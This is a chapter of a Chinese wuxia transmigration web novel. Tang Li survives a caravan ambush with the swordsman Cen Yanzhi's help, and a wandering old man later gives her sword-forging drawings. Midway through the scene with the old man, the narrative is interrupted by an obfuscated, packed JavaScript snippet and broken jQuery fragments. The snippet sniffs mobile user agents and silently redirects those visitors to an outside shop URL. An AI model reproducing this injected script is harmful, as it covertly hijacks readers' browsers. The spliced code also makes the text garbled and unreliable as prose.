3. 望归家

作品:《鲤燕记

    岑燕之拉着缰绳,看向被自己救下的胡姬,正好这女子也正在看着她,一副完全呆愣住的样子,眼泪还在脸庞上未干。


    被救了?


    棠鲤想开口谢谢他,但发现自己嘴唇依旧在哆嗦,四肢都发软,若不是男人一手护着,自己很可能会掉下马,就这样她的目光始终在男人的下巴和胸口处徘徊。


    她无法形容现在的感受和心情,从到了这个陌生的世界开始,她经历过绝望和无助,但总能在最危急的时刻接收到来自他人的善意,莫玥儿他们也好、眼前的这个还不知道姓名的男人也好……


    此时此刻,危及生命,她才切身的感受到,自己已经不是“旁观者”,而是这个世界的一员……


    眼泪完全止不住。


    泪水在眼底蓄积不下,清凌凌地晃着,终于是承受不住那满溢的惊惶。


    岑燕之就这样毫无防备地撞进了白日的这一双眸子里。


    岑燕之此人,行事有尺,举止有度,到如今二十九年的人生大部分时候都是孑然一身,更别说接触女子。


    他装作淡然地挪开视线,不再去看这胡姬的面容。心想:救人一命终归是好的。


    就在棠鲤愣神之际,局面开始反转,远处的官道上扬起沙尘,轰隆隆的马蹄声由远及近,速度极快。棠鲤甚至还听见了号角和战鼓的声音。


    “是援军吗?”棠鲤哆哆嗦嗦地开口,眼中仍然有藏不住的惊慌,岑燕之看在眼里,翻身下马后没有让她也下来。


    “莫怕,是府兵。”他眼力极好,何况方才在马上他就已经看到了写有“金城”字样的战旗,李镖头终归是不负众望。


    变故来得快,退去得也快,金城府兵训练有素,很快就控制住了局面,除却逃亡的“山匪”,大部分都缴械投降,幸存的众人得以喘了口气,总算是劫后余生……


    棠鲤落地后连忙看向救了自己的男人。


    “可问少侠姓名?”棠鲤扶了扶背后的琴,确认暂时完好,一双眸子还略带水光,就这样盯着面前人。


    “岑燕之。”


    “感谢岑少侠出手相救,不然……”棠鲤抱着襁褓,心里万分感谢。


    岑燕之没有回话,倒是看着棠鲤怀中的孩子,片刻,皱了皱眉头,似是在考虑如何开口。


    棠鲤察觉到岑燕之的视线,连忙道:“并非我的孩子,是一位妇人方才……”


    “这孩儿恐怕凶多吉少。”


    “欸?”棠鲤愣住了,拨开包被,才发现孩子的胸腹处早就被血染红了……


    是啊,刚才那么颠簸那么吵,为什么没听到一丝一毫的哭声……


    她默默地再次将孩子抱好,鞠躬谢过岑燕之。


    后来棠鲤凭着记忆寻到了孩子的母亲,她将孩子放到那妇人的怀中,就这样默默地看了许久。


    三日后,金城太守府府衙门前——


    “此次多亏了岑兄,他日若有用得上李某人之时,但凭驱使!”李镖头带着镖队一众幸存的弟兄们来与岑燕之告别。


    岑燕之依旧一身朴素干练的衣着,头戴着斗笠,闻言也抱拳一揖:“李兄严重了,岑某未能尽到全力,此次不仅走镖未成,还平白让雷彪兄弟丢了性命。”看着不远处街角镖师们守着的几副灵柩,岑燕之难免回想起当时的情形。


    在听到死去的弟兄的名字后,饶是走惯江湖的草莽英雄也纷纷热了眼眶。


    李镖头抬了抬眼,“自从彪子同某一起离开家乡,再到走镖为生,我们就想着早晚会有这么一遭……活着的生计!特别是这种刀尖上舔血的买卖……”


    他不禁哽咽,“他是为了救兄弟去的!这命!值当——”


    岑燕之摩挲着佩刀的刀柄,眺望远处。


    “此次走镖虽成,但报酬折半,分给岑兄的远不如当初约定的那番……岑兄不弱同某一起回辽城,天下之大,必有我等的一席之地!”告别之际,李镖头再次开口相邀,岑燕之依旧拒绝,他虽已远离朝堂,行走江湖,但心中仍有一份放不下的执念……


    李镖头胆大心细,看得出来岑燕之也有几分难言之隐……说着取下腰间的酒壶作为饯别礼送了去,此后天涯路远,难得再见。


    直到送别几人出了金城,岑燕之才折返回金城府衙,府衙主簿早已等候多时,恭敬地引着他去了府衙书房……


    棠鲤自三天前的变故后就一直在莫安的带领下照料着商队中受伤的病患,也多亏了金城太守大人的吩咐,队伍中幸存下来的人们得以在驿所延医请药。


    但莫老大没能撑到医士到来……


    棠鲤端着粥食,轻轻抚了抚躺着的莫玥儿,“玥儿,吃一点吧。”


    被中的人慢慢钻出,莫玥儿红着眼眶接过碗,舀起一勺,半晌都没能送入口中,倒是泪水慢慢滴入勺中……似是再也拿不住手中的碗,莫玥儿颤抖着哭了出来,棠鲤没有说话,接过碗筷,抱着莫玥儿,轻轻拍着她的后背……


    又过了一日,莫玥儿好了许多,棠鲤在院中晾晒着衣物。


    “棠姐姐,卓阳哥呢?他如何了?”


    棠鲤听闻,顿了顿,最后还是如实告诉了莫玥儿。


    话说那日,棠鲤与莫玥儿几人不幸分开后,幸好得有岑燕之相救,自己没有什么大碍,腿上被箭划破的伤口现在也已经结痂,恢复得很好。


    等到她当时找到莫玥儿几人时,如鲠在喉。


    据商队中其他人所说,莫玥儿当时被几名“山匪”拉扯,莫安因为护着昏过去的义父,莫卓阳见状当即就拿着匕首上前,但不慎被刺穿大腿,最后还为了护着莫玥儿被砍掉了右手……


    纵然莫玥儿哭着恳求,但医士看了后也叹气地摇了摇头,如今能保住一命已是大幸。


    看着莫玥儿抱着还有些虚弱的莫卓阳泣不成声,她心里也颇不好受……


    听带领他们来到驿所安顿的金城守军说,袭击她们的并非什么“山匪”,而是被驻守安北的魏王打散流窜至此的叛军……


    她隐约感觉,这个叫夏的国家不甚太平。


    衣袖被扯了扯,棠鲤的思绪被迫打断,她回头看去,是莫安。


    两人到了院中。


    莫安看了看棠鲤,最后还是开口道:“我们打算回西域了。”


    果然,其实这么多天,她已经想到会是这样。


    商队的主心骨没了,他自己失去了父亲,兄弟失去了一只手,还有许多男丁惨死,女眷失孤……


    棠鲤低下了头,难得出了太阳的好天气,却仍旧感觉浑身发冷。


    “你有什么打算?玥儿现在很依赖你。”莫安看着眼前的汉人女子,虽然孑然一身,但样貌不差,运气很好,养父曾说过,观此女面相,将来必定大富大贵。


    当时自己与莫安的想法一致,甚至于都没有当回事。


    现在看来,可能是对的……


    “我……”想回家……但怎么开口?告诉对方其实自己根本就不知道如何回家?家在另一个世界?对方一定会觉得自己疯了的。


    就在棠鲤犹豫如何回答时,莫安先开了口:“医士说卓阳还需再修养几天,十天后我们出发,那时……等你的回复也不迟,但……”


    “放心,我不会告诉玥儿的。”棠鲤心领神会,玥儿已经再也经不起离别了,但如果自己也要离开,该如何去说呢?


    将近深秋,据说金城这边冷得快,新鲜的蔬菜会更难的,之前她总是帮一位姓许的仆妇打打下手,今天倒是被分了两个烤地瓜。


    将其中的一个拿去给了莫玥儿,还剩下一个。


    最近她心绪很乱,夜里时常惊醒,梦里都是被“山匪”追上、身边全是死去的孩童的场景……只有抱着自己的琵琶才能让她有些许慰藉。


    是以近日她常常在驿所偏门处弹一会儿琴……


    一曲终了,棠鲤将琵琶装进盒中,小心收好。


    “好听!好听啊……”


    突如其来的声音吓了她一跳!探头往巷子里一瞅——原来是个老人。


    “您吓着我了……”棠鲤有些无奈,复又观察起来,老人家穿着有些破烂,头发乱糟糟的,这么冷的天气只穿了一双草鞋……


    就这样拿着根木拐杖靠坐在墙根处。


    有些可怜。


    “您饿了吗?吃吗?”棠鲤讲手中的烤地瓜递了过去,老人没有抬头,倒是迅速将地瓜拿走,略有些狼吞虎咽……


    棠鲤看呆住了。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224383|197558||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    老人吃完后,慢慢撑着坐了起来,掀起眼帘,看向棠鲤,“女娃娃,老夫吃完有些渴了。”


    “哦,好,您等下,我去拿点水。”棠鲤下意识地起身说着,返回院内,取了碗清水,端给了他。


    老人将水喝了个精光,一滴也不剩,末了,还打了个饱嗝……


    棠鲤没忍住笑了出来,这一笑倒是吸引了老人的目光。


    “你这女娃娃!算了,老夫不与你计较……”说罢要起身离开。


    “这就走了?”棠鲤小声问着,仅短短两月,她经历了太多,今天这奇遇倒让她久违地感到心里轻松不少。


    那老人似是听见了棠鲤的自言自语,停住了身形,又慢悠悠转身回来,距棠鲤就一步之遥。


    站定后,在怀中摸索半天,拿出了个破布包,递了过来——


    棠鲤下意识接过。


    翻看了一下,没有什么特殊的地方,但又有些同情老人,可能是阿尔兹海默症吧……


    “怎么,不打开看看?”那老人看棠鲤没什么反应,许是有些郁闷,用手中的木杖戳了戳石板地。


    棠鲤见状收回还回去的动作只得打开布包——是几张纸。


    棠鲤拿出翻看了一下,没有看懂,似是制作某种工具的图纸?


    “这是?”


    老人似是被棠鲤的反应取悦到了,有些得意道:“这可是江湖侠士必争之至宝!可莫要小看!”


    “那如此至宝,交给我一介陌生人?”棠鲤笑着问他,可能老人家许久没与人交谈了,在闹着玩呢。


    “老夫今天一睁眼,就决定将这个宝贝交予看到的第一个人!”说着还冲着棠鲤努了努下巴……


    原来如此,所以他昨晚就睡在这个小巷子里吧?


    许是察觉到棠鲤的情绪变化,老人走上前,一屁股坐在石阶上,伸出手说道:“你与老夫有些眼缘!这样!老夫懂些周易,给你看看手相吧!”


    棠鲤觉得有趣,将手伸了过去。


    只见那老人盯着棠鲤的右手,看了半响,坐回去抬起头看了看棠鲤的面容,语气有些古怪。


    “从相观之:昔者庄周梦蝶,虚实难辨。毋固毋执,莫若虚室生白,造化自然。”


    “可否再……说得明白些?”


    “老夫看不清你的造化……女娃娃不如东去长安石门寺解这一相。”说罢,老人拄起拐杖,一摇一晃地向街口走去。


    棠鲤看着手中的几张纸,又看着右手掌心,陷入沉思——是因为自己不属于这个世界,所以看不出手相?


    庄周梦蝶,虚实难辨……


    她苦笑着,这一遭危机后,逃跑的噩梦与终归家的喜悦在梦里相互交织,每每白日升起时,都令她头痛不已……


    即使掩面哭泣也没有任何的作用,哭过一场,还不是在此方世界,到底怎样才能回去?


    临近申时,岑燕之终于在西市口找到了他追了近一个月的人。


    此时他已是面有愠色,按压下怒火,拦住那人的去路。


    “铸剑图。”


    此时若是棠鲤在场,必会发现,被岑燕之拦下的正是上午与她有过一面之缘的老人。


    “你这后生,真是好生烦人!老夫已将那图撕碎了流进城外的溧水!你且去捞吧!”


    “李前辈,晚辈诚心想要铸剑图,还请前辈……”岑燕之抱拳一礼,看李观山没有任何反应,随后又欲将怀中荷包拿出……


    李观山见惯了这些江湖侠士的一言一行,压根不接岑燕之的茬,一挥袖子面朝城门方向。


    似是不忍,又或许是心虚,他余光瞥见那后生依旧立在原地,闹市之中人来人往,只他独立,是以格外醒目。


    随后深深叹了口气,想起来午前遇到的女娃娃,又挪着步子走到岑燕之身边。


    “给了个女娃娃,长相嘛……令人见之不忘。你若是运气好,没准能在西市驿所找着她……”撂下这样一句话,还未等岑燕之细问,李观山就转身离去,岑燕之没有再阻拦,就这样看着李观山消失在人群中……


    几乎是没想多少,岑燕之的眼前立马浮现出那日马上的惊惶面容——几日前一时心软于乱阵中救下的女子……天下会有如此巧合?